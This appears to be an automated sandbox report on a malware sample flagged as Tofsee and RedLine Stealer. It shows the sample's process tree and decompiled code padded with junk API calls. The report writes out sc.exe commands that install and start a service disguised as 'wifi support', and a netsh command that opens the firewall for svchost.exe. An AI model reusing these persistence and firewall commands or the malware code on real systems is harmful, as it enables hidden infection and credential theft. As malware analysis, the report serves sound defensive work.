Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 3532 Parent PID: 5060

General

Start time:	21:05:18
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0xa0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5328 Parent PID: 3532

General

Start time:	21:05:19
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 5500 Parent PID: 5060

General

Start time:	21:05:19
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description ffiawxs "wifi internet conection
Imagebase:	0xa0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5580 Parent PID: 5500

General

Start time:	21:05:20
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff64e5e0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 7068 Parent PID: 5060

General

Start time:	21:05:21
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start ffiawxs
Imagebase:	0xa0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6896 Parent PID: 7068

General

Start time:	21:05:21
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: netsh.exe PID: 3720 Parent PID: 5060

General

Start time:	21:05:22
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x11f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: xqfkdfcl.exe PID: 5432 Parent PID: 556

General

Start time:	21:05:22
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d"C:\Users\user\AppData\Local\Temp\3136.exe"
Imagebase:	0x400000
File size:	13666304 bytes
MD5 hash:	5C50CF4AF77D12BF94B3FC09437C8B16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002A.00000003.388526176.00000000007F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002A.00000002.391463142.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002A.00000002.391805380.0000000000680000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002A.00000002.391938773.0000000000840000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 4560 Parent PID: 3720

General

Start time:	21:05:22
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 3440 Parent PID: 5432

General

Start time:	21:05:26
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe
Imagebase:	0xb90000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002C.00000002.524985253.00000000007B0000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 3BC6.exe PID: 7064 Parent PID: 6244

General

Start time:	21:05:29
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3BC6.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\3BC6.exe
Imagebase:	0x3c0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000000.408848131.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000000.407524125.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000000.408441992.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000002.429951321.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002D.00000000.408078077.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 7140 Parent PID: 556

General

Start time:	21:05:32
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: OG9rNsihJ7.exe PID: 4948 Parent PID: 5408 OG9rNsihJ7.exeCOMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	21.5%
Total number of Nodes:	246
Total number of Limit Nodes:	21

Executed Functions

Function 00419EB2, Relevance: 257.8, APIs: 116, Strings: 31, Instructions: 521
timestringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419EB2(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t50;
				CHAR* _t53;
				intOrPtr _t87;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t198;
				void* _t199;
				void* _t200;
				void* _t203;
				void* _t205;
				intOrPtr _t227;
				void* _t228;

				_t193 = __edx;
				E0041AA90(0x20b8);
				if( *0x54abf4 == 0x177) {
					E0041B4C0(0, 0, 0);
					E0041B0F0(_t192, 0, 0);
					E0041B0A0(_t192, 0, 0);
					E0041B020(0);
					E0041AE30("0.0");
					st0 = __fp0;
					E0041ABB0(_t192, 0);
					E0041AB80(_t192, 0, 0);
					E0041AB00(_t192, 0);
					_t53 = E0041AAE0(0);
					_t205 = _t205 + 0x38;
				}
				_t194 = 0;
				L3:
				L3:
				if( *0x54abf4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t205 + 0x10);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t205 + 0x10cc, 0);
					__imp__AssignProcessToJobObject(0, 0);
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t205 + 0x4cc, 0);
					__imp__FindNextVolumeMountPointW(0, _t205 + 0x8cc, 0);
					GetCompressedFileSizeA("wovag", _t205 + 0x1c);
					SetNamedPipeHandleState(0, 0, 0, 0);
					lstrcpynA(_t205 + 0xd0, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetCurrentProcessId();
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t53 = OpenMutexA(0, 0, "mesehoripirowarericaju");
				}
				if(_t194 == 0x69d) {
					goto L8;
				}
				_t194 = _t194 + 1;
				if(_t194 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t195 = 0;
				do {
					if(_t195 < 0x4f5) {
						OemToCharA(0, 0);
						GetLastError();
					}
					if( *0x54abf4 == 0x6b) {
						_t53 = HeapFree(0, 0, 0);
					}
					_t195 = _t195 + 1;
					 *0x5447e0 = 0;
				} while (_t195 < 0x1763459b);
				_t203 = 0;
				do {
					if(_t203 == 0x40d) {
						 *0x54abf4 =  *0x54abf4 + 0x12336;
					}
					if( *0x54abf4 == 0x44d) {
						 *(_t205 + 0x10) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t205 + 0x14), _t205 + 0x1c);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetConsoleMode(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t205 + 0x40, _t205 + 0x34);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t205 + 0x20) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t205 + 0xd4, 0, _t205 + 0x18, _t205 + 0x20);
						WriteConsoleInputW(0, 0, 0, _t205 + 0x18);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t205 + 0x10cc, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t205 + 0x4d0, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t205 + 0x18cc, 0);
						_t53 = lstrcpyA(_t205 + 0x8cc, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameA(0, 0);
					}
					_t203 = _t203 + 1;
				} while (_t203 < 0x486263);
				E00419C41(_t53);
				_t198 = 0;
				do {
					if( *0x54abf4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t198 == 0x3c58) {
						_t87 =  *0x440008; // 0x3f6faa
						 *0x54abf8 = _t87;
					}
					if( *0x54abf4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t205 + 0x18d0, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t205 + 0x18);
						PeekConsoleInputW(0, _t205 + 0x28, 0, _t205 + 0x14);
						BuildCommDCBW(L"werahixiwexetujocaxojikutevolekeginizegimowif", _t205 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						CreateIoCompletionPort(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t205 + 0x4c8);
						ResetEvent(_t205 + 0x98);
						__imp__FindActCtxSectionGuid(0, 0, 0, 0, 0);
						 *((intOrPtr*)(_t205 + 0x70)) = 0;
						E0041B4E0(_t198, _t205 + 0x6c, 0, 0x30);
						_t205 = _t205 + 0xc;
						SetDefaultCommConfigW(0, _t205 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t205 + 0x8cc, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t205 + 0xc8);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t205 + 0xb0);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t205 + 0x10d0, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t198 = _t198 + 1;
				} while (_t198 < 0xe6a95);
				_t199 = 0;
				_t227 =  *0x54abf4; // 0xf5f0
				if(_t227 > 0) {
					do {
						E00419A0C(_t199);
						_t199 = _t199 + 1;
						_t228 = _t199 -  *0x54abf4; // 0xf5f0
					} while (_t228 < 0);
				}
				_t200 = 0;
				do {
					if(_t200 == 0x26) {
						E00419B59(_t193);
					}
					_t200 = _t200 + 1;
				} while (_t200 < 0x3dc4b7);
				E00419C55(); // executed
				if( *0x54abf4 == 0x1d) {
					WriteConsoleA(0, 0, 0, _t205 + 0x1c, 0);
					EndUpdateResourceA(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t205 + 0x18, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t205 + 0x20, _t205 + 0x10c8);
					__imp__CreateActCtxW(_t205 + 0x44);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t205 + 0x18cc, 0);
					GetVersion();
					SetConsoleMode(_t205 + 0x14, 0);
					 *(_t205 + 0x20) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					ReadFileScatter(0, 0, 0, 0, _t205 + 0x20);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t205 + 0x8d0, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t50 =  *0x440160; // 0xffffd2ba
				 *0x54abf4 = _t50;
				goto L9;
			}

0x00419eb2
0x00419eb7
0x00419ecc
0x00419ed1
0x00419ed8
0x00419edf
0x00419ee5
0x00419eef
0x00419ef4
0x00419ef7
0x00419efe
0x00419f04
0x00419f0a
0x00419f0f
0x00419f0f
0x00419f12
0x00000000
0x00419f14
0x00419f1b
0x00419f2b
0x00419f36
0x00419f3e
0x00419f44
0x00419f54
0x00419f5c
0x00419f67
0x00419f6e
0x00419f83
0x00419f98
0x00419fa8
0x00419fb8
0x00419fc2
0x00419fd6
0x00419fdc
0x00419fe3
0x00419fea
0x00419ff2
0x00419ff9
0x00419fff
0x0041a009
0x0041a010
0x0041a017
0x0041a01f
0x0041a026
0x0041a033
0x0041a033
0x0041a03f
0x00000000
0x00000000
0x0041a041
0x0041a048
0x00000000
0x00000000
0x0041a04e
0x0041a05a
0x0041a05a
0x0041a05c
0x0041a062
0x0041a066
0x0041a06c
0x0041a06c
0x0041a079
0x0041a07e
0x0041a07e
0x0041a084
0x0041a08b
0x0041a08b
0x0041a099
0x0041a09b
0x0041a0a1
0x0041a0a3
0x0041a0a3
0x0041a0b7
0x0041a0bf
0x0041a0c8
0x0041a0da
0x0041a0e5
0x0041a0ed
0x0041a0f0
0x0041a0fc
0x0041a102
0x0041a10a
0x0041a11a
0x0041a122
0x0041a12b
0x0041a133
0x0041a13b
0x0041a13c
0x0041a13d
0x0041a13e
0x0041a155
0x0041a163
0x0041a169
0x0041a179
0x0041a17f
0x0041a186
0x0041a197
0x0041a19e
0x0041a1a8
0x0041a1b3
0x0041a1ba
0x0041a1c1
0x0041a1d1
0x0041a1e3
0x0041a1eb
0x0041a1eb
0x0041a1f1
0x0041a1f2
0x0041a1fe
0x0041a209
0x0041a20b
0x0041a215
0x0041a218
0x0041a218
0x0041a224
0x0041a226
0x0041a22b
0x0041a22b
0x0041a237
0x0041a245
0x0041a24c
0x0041a255
0x0041a267
0x0041a277
0x0041a281
0x0041a289
0x0041a291
0x0041a29b
0x0041a2ab
0x0041a2bd
0x0041a2cd
0x0041a2d5
0x0041a2dc
0x0041a2e6
0x0041a2ee
0x0041a2f7
0x0041a306
0x0041a314
0x0041a31f
0x0041a32d
0x0041a331
0x0041a336
0x0041a340
0x0041a348
0x0041a34f
0x0041a357
0x0041a367
0x0041a36f
0x0041a377
0x0041a38a
0x0041a391
0x0041a39f
0x0041a3bd
0x0041a3c6
0x0041a3d0
0x0041a3d5
0x0041a3d5
0x0041a3db
0x0041a3dc
0x0041a3e8
0x0041a3ea
0x0041a3f0
0x0041a3f2
0x0041a3f3
0x0041a3f8
0x0041a3f9
0x0041a3f9
0x0041a3f2
0x0041a401
0x0041a403
0x0041a406
0x0041a408
0x0041a408
0x0041a40d
0x0041a40e
0x0041a416
0x0041a422
0x0041a431
0x0041a439
0x0041a440
0x0041a449
0x0041a455
0x0041a45d
0x0041a472
0x0041a47d
0x0041a484
0x0041a48f
0x0041a497
0x0041a4a6
0x0041a4ac
0x0041a4b8
0x0041a4c0
0x0041a4c8
0x0041a4c9
0x0041a4ca
0x0041a4cb
0x0041a4d5
0x0041a4e5
0x0041a4fe
0x0041a500
0x0041a50b
0x0041a50b
0x0041a51d
0x0041a050
0x0041a050
0x0041a055
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419ED1

Part of subcall function 0041B4C0: __vsprintf_l.LIBCMTD ref: 0041B4D3

_putc.LIBCMTD ref: 00419ED8

Part of subcall function 0041B0F0: __invalid_parameter.LIBCMTD ref: 0041B17D

__wrename.LIBCMTD ref: 00419EDF

Part of subcall function 0041B0A0: MoveFileA.KERNEL32 ref: 0041B0AE
Part of subcall function 0041B0A0: GetLastError.KERNEL32 ref: 0041B0B8
Part of subcall function 0041B0A0: __dosmaperr.LIBCMTD ref: 0041B0D4

_atexit.LIBCMTD ref: 00419EE5

Part of subcall function 0041AE30: __atof_l.LIBCMTD ref: 0041AE3B

_malloc.LIBCMTD ref: 00419EF7
_realloc.LIBCMTD ref: 00419EFE

Part of subcall function 0041AB80: __realloc_dbg.LIBCMTD ref: 0041AB94

_ferror.LIBCMTD ref: 00419F04

Part of subcall function 0041AB00: __invalid_parameter.LIBCMTD ref: 0041AB5A

Part of subcall function 0041AAE0: __wcstoi64.LIBCMTD ref: 0041AAED

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419F2B
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419F36
Process32NextW.KERNEL32(00000000,00000000), ref: 00419F3E
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419F44
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00419F54
AssignProcessToJobObject.KERNEL32 ref: 00419F5C
GlobalAddAtomW.KERNEL32(Vozecitak mov), ref: 00419F67
DeleteAtom.KERNEL32(00000000), ref: 00419F6E
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 00419F83
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 00419F98
FindNextVolumeMountPointW.KERNEL32 ref: 00419FA8
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 00419FB8
SetNamedPipeHandleState.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419FC2
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 00419FD6
GetCurrentProcessId.KERNEL32 ref: 00419FDC
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419FE3
UnregisterWait.KERNEL32(00000000), ref: 00419FEA
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 00419FF2
CancelWaitableTimer.KERNEL32(00000000), ref: 00419FF9
SetFileApisToANSI.KERNEL32 ref: 00419FFF
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A009
FindClose.KERNEL32(00000000), ref: 0041A010
SetEndOfFile.KERNEL32(00000000), ref: 0041A017
GetCommMask.KERNEL32(00000000,00000000), ref: 0041A01F
LocalLock.KERNEL32(00000000), ref: 0041A026
OpenMutexA.KERNEL32 ref: 0041A033
OemToCharA.USER32(00000000,00000000), ref: 0041A066
GetLastError.KERNEL32 ref: 0041A06C
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041A07E
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 0041A0DA
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 0041A0E5
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A0ED
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041A0F0
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A0FC
GetConsoleAliasExesLengthW.KERNEL32 ref: 0041A102
_lopen.KERNEL32(00000000,00000000), ref: 0041A10A
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0041A11A
SetCommState.KERNEL32(00000000,00000000), ref: 0041A122
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0041A12B
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041A155
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0041A163
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041A169
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 0041A179
FreeConsole.KERNEL32 ref: 0041A17F
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A186
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A197
SetConsoleCP.KERNEL32(00000000), ref: 0041A19E
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A1A8
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A1B3
SetSystemTime.KERNEL32(00000000), ref: 0041A1BA
SetThreadExecutionState.KERNEL32 ref: 0041A1C1
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A1D1
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A1E3
SetFileShortNameA.KERNEL32(00000000,00000000), ref: 0041A1EB
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A218
CreateSemaphoreA.KERNEL32 ref: 0041A245
GetLocalTime.KERNEL32(00000000), ref: 0041A24C
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A255
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A267
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A277
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A281
WaitNamedPipeA.KERNEL32 ref: 0041A289
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A291
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A29B
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A2AB
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 0041A2BD
BuildCommDCBW.KERNEL32 ref: 0041A2CD
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A2D5
GlobalLock.KERNEL32 ref: 0041A2DC
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A2E6
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A2EE
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A2F7
GetThreadContext.KERNEL32(00000000,?), ref: 0041A306
ResetEvent.KERNEL32(?), ref: 0041A314
FindActCtxSectionGuid.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A31F
_memset.LIBCMT ref: 0041A331
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A340
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A348
HeapUnlock.KERNEL32(00000000), ref: 0041A34F
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A357
GetVolumePathNameA.KERNEL32 ref: 0041A367
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A36F
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A377
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A38A
GetDriveTypeA.KERNEL32(00000000), ref: 0041A391
TryEnterCriticalSection.KERNEL32(?), ref: 0041A39F
GetPrivateProfileStructW.KERNEL32(diponusohivasohopo,mawecamaxe,?,00000000,rixawibonagomukirak), ref: 0041A3BD
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A3C6
GetPrivateProfileSectionW.KERNEL32 ref: 0041A3D0
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A3D5
WriteConsoleA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A431
EndUpdateResourceA.KERNEL32 ref: 0041A439
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A440
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A449
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A455
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041A45D
GetTapeParameters.KERNEL32 ref: 0041A472
CreateActCtxW.KERNEL32(?), ref: 0041A47D
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A484
GlobalFindAtomA.KERNEL32 ref: 0041A48F
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A497
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A4A6
GetVersion.KERNEL32 ref: 0041A4AC
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A4B8
ReadFileScatter.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041A4D5
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A4E5
GetPrivateProfileSectionW.KERNEL32 ref: 0041A4FE
DebugBreak.KERNEL32 ref: 0041A500
DeleteVolumeMountPointA.KERNEL32 ref: 0041A50B

Strings

suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A4EB
hijaduvinijebup, xrefs: 00419F26
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 00419FC9
Felerah cuhozazikesuzil, xrefs: 00419F93
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 0041A0D4
Vozecitak mov, xrefs: 00419F62
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A2A6
cbH, xrefs: 0041A1F2
hukujid, xrefs: 0041A506
gukafipa, xrefs: 0041A385
tivomifuzasesufaholivikasekalene, xrefs: 0041A23D
Hiwejanoji, xrefs: 0041A48A
rixawibonagomukirak, xrefs: 0041A3A5
pahubahiwucijucemipapujivojadij, xrefs: 0041A25C
0.0, xrefs: 00419EEA
Hetitanutaf bebucoreko, xrefs: 0041A1D6
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A261
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419F31
mesehoripirowarericaju, xrefs: 0041A02C
Piruvora, xrefs: 0041A362
Pusazide, xrefs: 0041A4DB
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A4F9
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 00419F7E
